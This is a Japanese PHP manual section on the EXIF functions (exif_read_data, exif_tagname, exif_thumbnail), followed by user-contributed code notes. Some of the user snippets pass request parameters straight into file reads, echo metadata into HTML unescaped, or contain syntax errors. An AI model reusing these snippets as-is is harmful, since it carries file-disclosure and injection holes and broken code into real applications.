EXIF | EXIF セクションは IFD0 のサブセクションです。ここには 画像に関する詳細な情報が含まれています。これらのエントリの ほとんどはデジタルカメラに関連するものです。

as_arrays

各セクションを配列とするかどうかを指定します。 required_sections の COMPUTED、 THUMBNAIL および COMMENT は常に配列となります。これは、これらのセクションに 含まれる値の名前が他のセクションと衝突する可能性があるからです。

read_thumbnail

true を指定すると、サムネイル本体を読み込みます。それ以外の場合は タグつきデータのみを読み込みます。

返り値

ヘッダ名がキー・ヘッダの内容が値となる連想配列を返します。 返されるデータがない場合は exif_read_data() は false を返します。

エラー / 例外

サポートされていないタグや、エラーが起きうる条件が指定された場合は、 E_WARNING かつ/または E_NOTICE が発生します。 警告が発生しても、この関数は対応する情報を全て読み取ろうとします。

変更履歴

バージョン | 説明
8.0.0 | required_sections は、nullable になりました。
7.2.0 | file パラメータは ローカルファイルとストリームリソースを両方サポートするようになりました。
7.2.0 以下の EXIF フォーマットのサポートが追加されました:
  • Samsung
  • DJI
  • Panasonic
  • Sony
  • Pentax
  • Minolta
  • Sigma/Foveon
  • AGFA
  • Kyocera
  • Ricoh
  • Epson

例

例1 exif_read_data() の例

<?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {
    foreach ($section as $name => $val) {
        echo "$key.$name: $val<br />\n";
    }
}
?>

最初のコールは失敗します。画像がヘッダ情報を有していないためです。

上の例の出力は、 たとえば以下のようになります。

test1.jpg:
No header data found.
test2.jpg:
FILE.FileName: test2.jpg
FILE.FileDateTime: 1017666176
FILE.FileSize: 1240
FILE.FileType: 2
FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, COMMENT
COMPUTED.html: width="1" height="1"
COMPUTED.Height: 1
COMPUTED.Width: 1
COMPUTED.IsColor: 1
COMPUTED.ByteOrderMotorola: 1
COMPUTED.UserComment: Exif test image.
COMPUTED.UserCommentEncoding: ASCII
COMPUTED.Copyright: Photo (c) M.Boerger, Edited by M.Boerger.
COMPUTED.Copyright.Photographer: Photo (c) M.Boerger
COMPUTED.Copyright.Editor: Edited by M.Boerger.
IFD0.Copyright: Photo (c) M.Boerger
IFD0.UserComment: ASCII
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.JPEGInterchangeFormatLength: 523
COMMENT.0: Comment #1.
COMMENT.1: Comment #2.
COMMENT.2: Comment #3end
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.Thumbnail.Height: 1
THUMBNAIL.Thumbnail.Height: 1

例2 PHP 7.2.0 で利用できるストリームを exif_read_data() で使う例

<?php
// Open a the file, this should be in binary mode
$fp = fopen('/path/to/image.jpg', 'rb');

if (!$fp) {
    echo 'Error: Unable to open image for reading';
    exit;
}

// Attempt to read the exif headers
$headers = exif_read_data($fp);

if (!$headers) {
    echo 'Error: Unable to read exif headers';
    exit;
}

// Print the 'COMPUTED' headers
echo 'EXIF Headers:' . PHP_EOL;

foreach ($headers['COMPUTED'] as $header => $value) {
    printf(' %s => %s%s', $header, $value, PHP_EOL);
}
?>

上の例の出力は、 たとえば以下のようになります。

EXIF Headers:
 Height => 576
 Width => 1024
 IsColor => 1
 ByteOrderMotorola => 0
 ApertureFNumber => f/5.6
 UserComment =>
 UserCommentEncoding => UNDEFINED
 Copyright => Denis
 Thumbnail.FileType => 2
 Thumbnail.MimeType => image/jpeg

注意

注意:

mbstring が有効な場合、 exif はUnicodeを処理し、 exif.decode_unicode_motorola および exif.decode_unicode_intel で指定された文字コードとして取り出そうとします。 exif 拡張モジュールはエンコーディングを自分自身で探そうとはしないので、 exif_read_data() を呼ぶ前に、 これらの ini ディレクティブのうちのひとつに どのエンコーディングをデコードに使うかを適切に設定するのはユーザーの責任です。

注意:

この関数にストリームを渡すために file を使った場合、 ストリームはシーク可能でなければなりません。 ファイルポインタの位置は、関数から戻った後でも変化しないことに注意してください。

参考

  • exif_thumbnail() - 画像に埋め込まれたサムネイルを取得する
  • getimagesize() - 画像の大きさを取得する
  • サポートするプロトコル/ラッパー

User Contributed Notes

Tim 05-Oct-2019 08:44
The following code:
<?php
$data = exif_read_data('foo.jpg');
var_dump($data['Keywords']);
?>
produces string(15) "???????????????"

Adding
<?php
ini_set('exif.decode_unicode_motorola', 'UCS-2LE');
?>
before the call to exif_red_data produces
string(15) "landscape;;field"
omerg at lucidcode dot com dot tr 09-Feb-2019 12:12
The example provided for displaying exif array content is not working in recent version because not all entry values are of array type.

This is an alternative echo loop:

 <?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {

    if (!is_array ($section)) {
        echo "$key: $section<br />\n";
    } else {
        foreach ($section as $name => $val) {
            echo "$key.$name: $val<br />\n";
        }
    }

}
?>
TNTcode 09-Oct-2017 12:34
<?php

// auto rotates an image file based on exif data from camera
// if destination file is specified then it saves file there, otherwise it will display it to user
// note that images already at normal orientation are skipped (when exif data Orientation = 1)

if(!function_exists("gd_auto_rotate")){
    function gd_auto_rotate($original_file, $destination_file=NULL){

        $original_extension = strtolower(pathinfo($original_file, PATHINFO_EXTENSION));
        if(isset($destination_file) and $destination_file!=''){
            $destination_extension = strtolower(pathinfo($destination_file, PATHINFO_EXTENSION));
        }

        // try to auto-rotate image by gd if needed (before editing it)
        // by imagemagik it has an easy option
        if(function_exists("exif_read_data")){

            $exif_data = exif_read_data($original_file);
            $exif_orientation = $exif_data['Orientation'];

            // value 1 = normal ?! skip it ?!

            if($exif_orientation=='3'  or $exif_orientation=='6' or $exif_orientation=='8'){

                $new_angle[3] = 180;
                $new_angle[6] = -90;
                $new_angle[8] = 90;

                // load the image
                if($original_extension == "jpg" or $original_extension == "jpeg"){
                    $original_image = imagecreatefromjpeg($original_file);
                }
                if($original_extension == "gif"){
                    $original_image = imagecreatefromgif($original_file);
                }
                if($original_extension == "png"){
                    $original_image = imagecreatefrompng($original_file);
                }

                $rotated_image = imagerotate($original_image, $new_angle[$exif_orientation], 0);

                // if no destination file is set, then show the image
                if(!$destination_file){
                    header('Content-type: image/jpeg');
                    imagejpeg($rotated_image, NULL, 100);
                }

                // save the smaller image FILE if destination file given
                if($destination_extension == "jpg" or $destination_extension=="jpeg"){
                    imagejpeg($rotated_image, $destination_file,100);
                }
                if($destination_extension == "gif"){
                    imagegif($rotated_image, $destination_file);
                }
                if($destination_extension == "png"){
                    imagepng($rotated_image, $destination_file,9);
                }

                imagedestroy($original_image);
                imagedestroy($rotated_image);

            }
        }
    }
}

?>
b at asdflolinternet dot de 18-Oct-2015 12:42
Problem with "S?o?m?e? ?T?e?x?t??" on value(s), exif[IFD0][Title] for example, when they were edited trough windows right click properties and then got read with the read_exif_data() function.
try:

$exif_['IFD0']['Title']=mb_convert_encoding($exif_['IFD0']['Title'],"auto","byte2le");

works on UTF-8 and so.

//
// outputs all available character encodings and prints on screen
// foreach(mb_list_encodings() as $chr)
//  {$test[$chr]=mb_convert_encoding($image[IFD0][Title],'auto',$chr);}
//  exit(print_r($test));
//
Eion Robb 26-May-2015 08:56
I was needing to use exif_read_data() to read out the orientation flag, only to find that the webhost didn't have the exif extension available for use.  Instead, I hacked up a regex that worked fairly well as a replacement

<?php
$orientation = 1;
if (function_exists('exif_read_data')) {
    $exif = exif_read_data($filename);
    if (isset($exif['Orientation']))
        $orientation = $exif['Orientation'];
} else if (preg_match('@\x12\x01\x03\x00\x01\x00\x00\x00(.)\x00\x00\x00@', file_get_contents($filename), $matches)) {
    $orientation = ord($matches[1]);
}
?>
iam at thatguy dot co dot za 20-Dec-2013 08:15
I posted the original version of the function, but after using it for a while I discovered I didn't do enough error checking.

I have re-factored it somewhat, and it now returns an empty array should it not be able to read the image's exif. If it is able to, it will return the details it was able to retrieve. And this should be without error.

I am suppressing errors, because if you pass it images which cannot parse, you will get a warning.

<?php

# Modified Version of cameraUsed, no longer returns date.
public function cameraUsed($imagePath)
{
    # The default empty return
    $return = array(
        'make'      => "",
        'model'     => "",
        'exposure'  => "",
        'aperture'  => "",
        'iso'       => ""
    );

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) AND (file_exists($imagePath)))
    {
        // There are 2 arrays which contains the information we are after, so it's easier to state them both
        $exif_ifd0 = @read_exif_data($imagePath ,'IFD0' ,0);
        $exif_exif = @read_exif_data($imagePath ,'EXIF' ,0);

        # Ensure that we actually got some information
        if (($exif_ifd0 !== false) AND ($exif_exif !== false))
        {
            // Make
            if (@array_key_exists('Make', $exif_ifd0))
            {
                $return['make']     = $exif_ifd0['Make'];
            }

            // Model
            if (@array_key_exists('Model', $exif_ifd0))
            {
                $return['model']    = $exif_ifd0['Model'];
            }

            // Exposure
            if (@array_key_exists('ExposureTime', $exif_ifd0))
            {
                $return['exposure'] = $exif_ifd0['ExposureTime'];
            }

            // Aperture
            if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED']))
            {
                $return['aperture'] = $exif_ifd0['COMPUTED']['ApertureFNumber'];
            }

            // ISO
            if (@array_key_exists('ISOSpeedRatings',$exif_exif))
            {
                $return['iso']     = $exif_exif['ISOSpeedRatings'];
            }
        }
    }

    # Return either an empty array, or the details which we were able to extrapolate.
    return $return;
}

?>
Clive dot Moore at ma-design dot com 06-Dec-2013 09:19
Following up on darkain at darkain dot com  script for grabbing the ShutterSpeedValue from exif data...
@http://php.net/manual/en/function.exif-read-data.php

I have found that the option shown for ShutterSppedValue, can also be ExposureTime in the exif data.

Also the code as written provides a WRONG return, as the return is always 1 so you get 1/1sec.

Here is corrected code, or a version that corrects what is obviously not working after 5 years since it was originally developed::

Here is the updated version for:: $exif[ExposureTime]

    function exif_get_float($value) {
        $pos = strpos($value, '/');
        if ($pos === false) return (float) $value;
        $a = (float) substr($value, 0, $pos);
        $b = (float) substr($value, $pos+1);
    return ($b == 0) ? ($a) : ($a / $b);
    };

    function exif_get_exposureTime(&$exif) {
        if (!isset($exif['ExposureTime'])) return false;
        $apex    = exif_get_float($exif['ExposureTime']);
        $shutter = 1/$apex;
        // above 1 sec exposure time::
        if ($shutter <= 1) return round($apex) . ' seconds';

    return '1/' . round(1 / $apex) . 'sec';
    };
hoangvu4000 at gmail dot com 26-May-2013 05:47
This is function, resize image and don't rotates images have exif info

PHP must be enabled:
extension=php_mbstring.dll
extension=php_exif.dll

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);

        //if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        //}
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);
}
?>
kurt at mandella dot biz 25-Apr-2013 06:34
Photos processed in Picasa often contain garbage data in the "MAKERNOTE" section and under EXIF.MakerNote, (UTF8) like:

[MakerNote] => r0~Ta"i2OOy     e §...b!    )    ) EI "DO
#s &0{ 'U (a -D`yy@yyyiE e?Yyy  yyyyyyx "u≫Doy H ?.}BuIMG:DIGITAL IXUS 100 IS JPEGFirmware Version 1.00s?xCOyyy-l\yyy  OIIx? yyII?ayyy??(? (?T?U'?d-~O"\yyy    Ay?aajaApgaXfaWb[Te≪
8u5:Ad-3ayy5≫y ?;sE ? ?a?`         ， ddiyiyiyiyiyiy
yy?1—IaoEa×￢gaii

This can't be written to Blob in MySql. The following code removes the garbage tags.

$exif = exif_read_data($process_photo, 0, 'EXIF');

if($exif['IFD0']['Software'] == "Picasa"){

foreach ($exif as $key => $section){

 if($key != "MAKERNOTE"){
  foreach ($section as $name => $val){
   if($name != 'MakerNote'){
    $exifA[$key][$name] = $val;
   }
  }
  $exifB[$key] = $exifA[$key];
 }
}
$serialized_exif = serialize ($exifB);
}else{
$serialized_exif = serialize ($exif);
}
chadsmith729 at gmail dot com 20-Dec-2012 01:34
When the new update came out from Apple for iOS6 it provided the ability for iPad, iPod, and iPhones to be able to upload files from the device through Safari. Obviously this will open up an array of implementations where at one point it was just not possible.

The issue comes when a photo is uploaded it will be dependent on the location of the "button" when the photo was taken. Imagine if you will that you have your iPhone turned with the button at the top and you take a photo. The photo when uploaded to your server might be "upside down".

The following code will ensure that all uploaded photos will be oriented correctly upon upload:
<?php
$image = imagecreatefromstring(file_get_contents($_FILES['image_upload']['tmp_name']));
$exif = exif_read_data($_FILES['image_upload']['tmp_name']);
if(!empty($exif['Orientation'])) {
    switch($exif['Orientation']) {
        case 8:
            $image = imagerotate($image,90,0);
            break;
        case 3:
            $image = imagerotate($image,180,0);
            break;
        case 6:
            $image = imagerotate($image,-90,0);
            break;
    }
}
// $image now contains a resource with the image oriented correctly
?>

What you do with the image resource from there is entirely up to you.

I hope that this helps you identify and orient any image that's uploaded from an iPad, iPhone, or iPod. Orientation for the photo is the key to knowing how to rotate it correctly.
drpain at webster dot org dot za 13-Mar-2012 11:40
Please note that when resizing images with GD and most image processing scripts or applications you will loose the EXIF information. What I did as a workaround is book this information into MySQL before I re-size images.

<?php

// This function is used to determine the camera details for a specific image. It returns an array with the parameters.
function cameraUsed($imagePath) {

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) and (file_exists($imagePath))) {

      // There are 2 arrays which contains the information we are after, so it's easier to state them both
      $exif_ifd0 = read_exif_data($imagePath ,'IFD0' ,0);
      $exif_exif = read_exif_data($imagePath ,'EXIF' ,0);

      //error control
      $notFound = "Unavailable";

      // Make
      if (@array_key_exists('Make', $exif_ifd0)) {
        $camMake = $exif_ifd0['Make'];
      } else { $camMake = $notFound; }

      // Model
      if (@array_key_exists('Model', $exif_ifd0)) {
        $camModel = $exif_ifd0['Model'];
      } else { $camModel = $notFound; }

      // Exposure
      if (@array_key_exists('ExposureTime', $exif_ifd0)) {
        $camExposure = $exif_ifd0['ExposureTime'];
      } else { $camExposure = $notFound; }

      // Aperture
      if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED'])) {
        $camAperture = $exif_ifd0['COMPUTED']['ApertureFNumber'];
      } else { $camAperture = $notFound; }

      // Date
      if (@array_key_exists('DateTime', $exif_ifd0)) {
        $camDate = $exif_ifd0['DateTime'];
      } else { $camDate = $notFound; }

      // ISO
      if (@array_key_exists('ISOSpeedRatings',$exif_exif)) {
        $camIso = $exif_exif['ISOSpeedRatings'];
      } else { $camIso = $notFound; }

      $return = array();
      $return['make'] = $camMake;
      $return['model'] = $camModel;
      $return['exposure'] = $camExposure;
      $return['aperture'] = $camAperture;
      $return['date'] = $camDate;
      $return['iso'] = $camIso;
      return $return;

    } else {
      return false;
    }
}

?>

An example of it's use follows:

<?php

$camera = cameraUsed("/img/myphoto.jpg");
echo "Camera Used: " . $camera['make'] . " " . $camera['model'] . "<br />";
echo "Exposure Time: " . $camera['exposure'] . "<br />";
echo "Aperture: " . $camera['aperture'] . "<br />";
echo "ISO: " . $camera['iso'] . "<br />";
echo "Date Taken: " . $camera['date'] . "<br />";

?>

Will display the following, depending on the data:

Camera Used: SONY DSC-S930
Exposure Time: 1/400
Aperture: f/4.3
ISO: 100
Date Taken: 2010:12:10 18:18:45

If the image has been re-sized and the information is no longer available then you should receive the following when echoing the same:

Camera Used: Unavailable
Exposure Time: Unavailable
Aperture: Unavailable
ISO: Unavailable
Date Taken: Unavailable

Some cameras do not capture all the information, for instance Blackberry phones do not record an aperture, or iso and you will get Unavailable for those fields.

I hope you find this helpful.
michael [at[ thisiswilson [dot[ com 20-Nov-2008 09:01
From - darkain at darkain dot com 's example.

If all the data is from the same image - simply

<?php
        $exif_data = exif_read_data ( $_FILES['photo']

        $emake =$exif_data['Make'];
        $emodel = $exif_data['Model'];
        $eexposuretime = $exif_data['ExposureTime'];
        $efnumber = $exif_data['FNumber'];
        $eiso = $exif_data['ISOSpeedRatings'];
        $edate = $exif_data['DateTime'];
?>

will work, I tried using the PEL library, and while pretty cool, I can't for the life understand how to call some things, this is simpler if your system is pretty basic or if you're in a rush.  If you have time, try playing with PEL.  It's not maintained at the moment though..

http://pel.sourceforge.net/
lincolnzsilva at gmail dot com 26-Sep-2008 04:57
Get some EXIFs fields (easy way):

<?php
        $exif_make = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emake = $exif_make['Make'];

        $exif_model = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emodel = $exif_model['Model'];

        $exif_exposuretime = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eexposuretime = $exif_exposuretime['ExposureTime'];

        $exif_fnumber = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $efnumber = $exif_fnumber['FNumber'];

        $exif_iso = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eiso = $exif_iso['ISOSpeedRatings'];

        $exif_date = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $edate = $exif_date['DateTime'];
?>
darkain at darkain dot com 28-Jul-2008 11:33
I wanted some quick and easy functions for computing the shutter speed and f-stop.  I couldn't find any anywhere, so I made some.  It took some research :

<?php
function exif_get_float($value) {
  $pos = strpos($value, '/');
  if ($pos === false) return (float) $value;
  $a = (float) substr($value, 0, $pos);
  $b = (float) substr($value, $pos+1);
  return ($b == 0) ? ($a) : ($a / $b);
}

function exif_get_shutter(&$exif) {
  if (!isset($exif['ShutterSpeedValue'])) return false;
  $apex    = exif_get_float($exif['ShutterSpeedValue']);
  $shutter = pow(2, -$apex);
  if ($shutter == 0) return false;
  if ($shutter >= 1) return round($shutter) . 's';
  return '1/' . round(1 / $shutter) . 's';
}

function exif_get_fstop(&$exif) {
  if (!isset($exif['ApertureValue'])) return false;
  $apex  = exif_get_float($exif['ApertureValue']);
  $fstop = pow(2, $apex/2);
  if ($fstop == 0) return false;
  return 'f/' . round($fstop,1);
}
?>
wdierkes at 5dollarwhitebox dot org 04-Sep-2007 06:20
Using the exif methods to read WINXP data returns unexpected results unless both exif and mbstring are compiled statically.  Please reference the following bug reports:

Bug #31980
Bug #23105

Specifically, the last comment on #23105:

"[8 Apr 2003 4:26pm UTC] edink@php.net

This cannot be fixed due to the fact that mbstring has been removed from PHP core (it has been 'unbundled') and the rest of core files and other extensions cannot use mbstring functionality when it is compiled as a shared library (dll).
"

If exif is compiled statically (--enable-exif) and mbstring compiled as a DSO module (--enable-mbstring=shared) then exif_read_data may only return a single character rather than the entire string.

Compiling both exif and mbstring statically (--enable-exif --enable-mbstring) resolves the issue.
mafo at mafo removethis dot sk 08-Aug-2007 01:57
some cameras (most higher models) have position senzor (gyroskope?) and taking-position is wrote in EXIF, here is simple script for automatic rotating images

<?php
$exif = exif_read_data($filename);
$ort = $exif['IFD0']['Orientation'];
    switch($ort)
    {
        case 1: // nothing
        break;

        case 2: // horizontal flip
            $image->flipImage($public,1);
        break;

        case 3: // 180 rotate left
            $image->rotateImage($public,180);
        break;

        case 4: // vertical flip
            $image->flipImage($public,2);
        break;

        case 5: // vertical flip + 90 rotate right
            $image->flipImage($public, 2);
                $image->rotateImage($public, -90);
        break;

        case 6: // 90 rotate right
            $image->rotateImage($public, -90);
        break;

        case 7: // horizontal flip + 90 rotate right
            $image->flipImage($public,1);
            $image->rotateImage($public, -90);
        break;

        case 8:    // 90 rotate left
            $image->rotateImage($public, 90);
        break;
    }

?>

$image->rotateImage() is inspired by example of http://php.net/manual/en/function.imagerotate.php
$image->flipImage() is inspired by http://php.net/manual/en/function.imagecopy.php#42803 (thank you)
05-Mar-2007 11:50
When reading EXIF information from the 'WINXP' group, you may need to change used encoding from the default "ISO-8859-15" to "UTF-8". This can be done in php.ini or in your code:

<?php
    ini_set('exif.encode_unicode', 'UTF-8');

    $exif = exif_read_data('TEST.JPG', 0, true);
    echo $exif['WINXP']['Title'];
?>

Useful documentation about EXIF:
http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/EXIF.html
See also comments next to XPTitle and XPAuthor.


インデックスに対応するヘッダ名を取得する

  • ≪ exif_read_data
  • exif_thumbnail ≫
  • PHP Manual
  • Exif 関数
  • インデックスに対応するヘッダ名を取得する

exif_tagname

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_tagname — インデックスに対応するヘッダ名を取得する

説明

exif_tagname ( int $index ) : string|false

パラメータ

index

名前を調べたいタグの ID。

返り値

ヘッダ名を返します。もし index が EXIF タグ ID として未定義の場合は false を返します。

例

例1 exif_tagname() の例

<?php
echo "256: ".exif_tagname(256).PHP_EOL;
echo "257: ".exif_tagname(257).PHP_EOL;
?>

上の例の出力は以下となります。

256: ImageWidth
257: ImageLength

参考

  • exif_imagetype() - イメージの型を定義する
  • » EXIF 仕様
  • » EXIF タグ

User Contributed Notes

abc at ed48 dot com 22-Jun-2011 10:03
In association with exif_read_data:

<?php

# The tagnames can vary in different cameras

$imgdir = "/path_to_img/";
$img_file = "image_file.jpg";

echo $img_file . "&nbsp;&nbsp;&nbsp;<sub>TEST</sub>
<br />";
echo '<img src="' . $imgdir . $img_file . '" alt="'
 . $img_file . '" title="' . $img_file . '" width="400" /><br /><br />';

$xf_data = exif_read_data($imgdir . $img_file);

$tagg = exif_tagname(0X10F);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X110);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0X132);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg];
$tagg = exif_tagname(0XA002);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';
$tagg = exif_tagname(0XA003);
echo '<br>' . $tagg .  ' >>> ' . $xf_data[$tagg] . 'px';

?>
abc at ed48 dot com 21-Jun-2011 01:20
Theoretically, 65,535 tags are possible. Although not all are used, yet. The code below lists these tags:

<?php

for ($id = 1; $id <= 65535; $id++)
{
$dec2hex = dechex($id);

$strgx = '0x'. $dec2hex;

if(exif_tagname($strgx) != "")
{
echo $strgx . ' ( ' . exif_tagname($strgx) . ' )<br />';
}
}

?>


画像に埋め込まれたサムネイルを取得する

  • ≪ exif_tagname
  • read_exif_data ≫
  • PHP Manual
  • Exif 関数
  • 画像に埋め込まれたサムネイルを取得する

exif_thumbnail

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

exif_thumbnail — 画像に埋め込まれたサムネイルを取得する

説明

exif_thumbnail ( resource|string $file , int &$width = null , int &$height = null , int &$image_type = null ) : string|false

exif_thumbnail() は、 画像に埋め込まれたサムネイルを読み込みます。

この関数を使用してサムネイルを出力したい場合は、 header() 関数を使用して mimetype 情報を送信する 必要があります。

exif_thumbnail() が画像を作成することはできないが、 そのサイズだけはわかるという可能性があります。そのような場合、返り値は false となりますが width および height を設定されています。

パラメータ

file

読み込む画像ファイルの名前。サムネイルが埋め込まれています。 画像ファイルの位置。これはファイルのパスか、ストリーム resource です。

width

返されるサムネイルの幅が格納されます。

height

返されるサムネイルの高さが格納されます。

image_type

返されるサムネイルの画像タイプが格納されます。 TIFF あるいは JPEG のどちらかです。

返り値

埋め込まれたサムネイルを返します。画像がサムネイルを含まない場合は false を返します。

例

例1 exif_thumbnail() の例

<?php
$image = exif_thumbnail('/path/to/image.jpg', $width, $height, $type);
if ($image!==false) {
    header('Content-type: ' .image_type_to_mime_type($type));
    echo $image;
    exit;
} else {
    // no thumbnail available, handle the error here
    echo 'No thumbnail available';
}
?>

変更履歴

バージョン | 説明
7.2.0 | file パラメータは ローカルファイルとストリームリソースを両方サポートするようになりました。

注意

注意:

この関数にストリームを渡すために file を使った場合、 ストリームはシーク可能でなければなりません。 ファイルポインタの位置は、関数から戻った後でも変化しないことに注意してください。

参考

  • exif_read_data() - 画像ファイルから EXIF ヘッダを読み込む
  • image_type_to_mime_type() - getimagesize, exif_read_data, exif_thumbnail, exif_imagetypeから返される 画像形式のMIMEタイプを取得する

User Contributed Notes

thrustvector at &#39;gee&#39;mail dot com 29-Jul-2008 01:40
If you've edited the image with image editing software and it no longer contains an exif thumbnail, I've created a script that will add one back into it, using the "PHP Exif Library": http://pel.sourceforge.net/index.php

<?php
require_once('../PEL/PelJpeg.php');
require_once('../PEL/PelIfd.php');
$fullpath = 'images/DSC_0013c.JPG';  # path of source image (does not contain an exif thumbnail)

$jpeg = new PelJpeg($fullpath);
 $exif = $jpeg->getExif();
 $tiff = $exif->getTiff();
 $ifd0 = $tiff->getIfd();        # need this so that we can later link it to the new IFD

 $ifd1 = $ifd0->getNextIfd();
if (!$ifd1) {        # Only create thumbnail if one doesn't exist (i.e. there is no IFD1)
    $ifd1 = new PelIfd(1);
    $ifd0->setNextIfd($ifd1); # point ifd0 to the new ifd1 (or else ifd1 will not be read)

    $original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
    $orig_w=imagesx($original);
    $orig_h=imagesy($original);
    $wmax = 160;
    $hmax = 120;

    if ($orig_w>$wmax || $orig_h>$hmax) {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h); # maintain aspect ratio
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    }
    else { # only set the thumb's size if the original is larger than 'wmax'x'hmax'
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }

        # create image resource with thumbnail sizing
    $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        ## Resize original and copy to the blank thumb resource
    imagecopyresampled($thumb,$original,
                               0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);

        # start writing output to buffer
    ob_start();
        # outputs thumb resource contents to buffer
    ImageJpeg($thumb);
        # create PelDataWindow from buffer thumb contents (and end output to buffer)
    $window = new PelDataWindow(ob_get_clean());

    if ($window) {

        $ifd1->setThumbnail($window); # set window data as thumbnail in ifd1
        $outpath = $fullpath; # overwrite original jpg file
        file_put_contents($outpath, $jpeg->getBytes()); # write everything to output filename
            # Show thumbnail in file:
        echo '<img src="thumb_exif.php?image='.$outpath.'" border=0 alt="If you see this, it did not work"><br>';

    }
}
else {
    echo 'ifd1 already exists! (IFD1 is where the thumbnail is stored)<br>';
}
?>
<?php # This is the code in thumb_exif.php :
        $imgdat = exif_thumbnail($_REQUEST['image'], $width, $height, $type);
        header('Content-type: ' . image_type_to_mime_type($type));
        echo($imgdat);
?>

If you have a lot of such files, you can easily make a script that searches them out and adds thumbnails to their exif.
Miguel Vitorino 08-Oct-2007 06:37
use this if you want to embed a thumbnail directly on the HTML page without writing it first to a file:

<?php
$image = exif_thumbnail($file, $width, $height, $type);

echo "<img  width='$width' height='$height' src='data:image/gif;base64,".base64_encode($image)."'>";
?>
05-Jan-2007 06:23
If you want to convert from TIFF to JPG you can use ImageMagick if it is installed in your server.

<?php
$exec = 'convert /path/to/file.tiff /path/to/file.jpg 2>&1';
@exec($exec, $exec_output, $exec_retval);

//possible error
print_r($exec_output)
?>
hanspeter dot debets at dendrite dot com 14-Jan-2005 06:35
Great that the thumbnail can be in TIFF format (f.i. Kodak cameras have embedded thumbnail in TIFF) BUT I have not been able to show TIFF as an embedded image in HTML (using the <IMG...> tag). There seems to be no function in PHP to change TIFF to, lets say, JPG. (imagecreatefromstring gives a 'unknown datatype' error for the TIFF stream. So below sample works great for JPEG embedded thumbnail, but not for TIFF embedded (but then, maybe I did something wrong?):

test_exif.php:

<HTML>
<HEAD>
    <TITLE>Test EXIF Read  </TITLE>
</HEAD>
<BODY>
<?php
$image='P0000614.JPG';
echo("<B>". $image. "</B>:<BR><BR>\n");

$exif = exif_read_data($image, 'ANY_TAG',true);
if (!$exif===false)
{
    echo("Image contains headers<br><br>");
    echo("<A href=showthumb.php?image=" . $image ."> <IMG border=0 src=showthumb.php?image=" . $image ."></A><BR><BR>");

    foreach ($exif as $key => $section)
    {
        foreach ($section as $name => $val)
        {
            echo "$key.$name: $val<br>\n";
        }
    }
}
else
{
    echo("Sorry, image <B>".$image . "</B> does not contain (readable) EXIF data.");
}
?>
</BODY>
</HTML>

showthumb.php:

<?php
$imgdat = exif_thumbnail($_REQUEST['image'],$width, $height, $type);
header('Content-type: ' . image_type_to_mime_type($type));
echo($imgdat);
?>

When clicking on the <A> opens the TIFF image in the program that windows assigned to this type, but the JPEG opens in the browser.

I am using PHP 4.3.6 on windows iis 4 (yeah, I know.....)
Eric 13-Jun-2004 07:05
This will allow you to manipulate the thumbnail image ($imgJpeg) using the various gd commands:

<?php
  if (($imgJpeg = exif_thumbnail($strImagePath)) === false)
    print "No Thumbnail!";
  else
    $imgJpeg = imageCreateFromString($imgJpeg);
?>


のエイリアス exif_read_data

  • ≪ exif_thumbnail
  • GD ≫
  • PHP Manual
  • Exif 関数
  • のエイリアス exif_read_data

read_exif_data

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

read_exif_data — のエイリアス exif_read_data()

警告

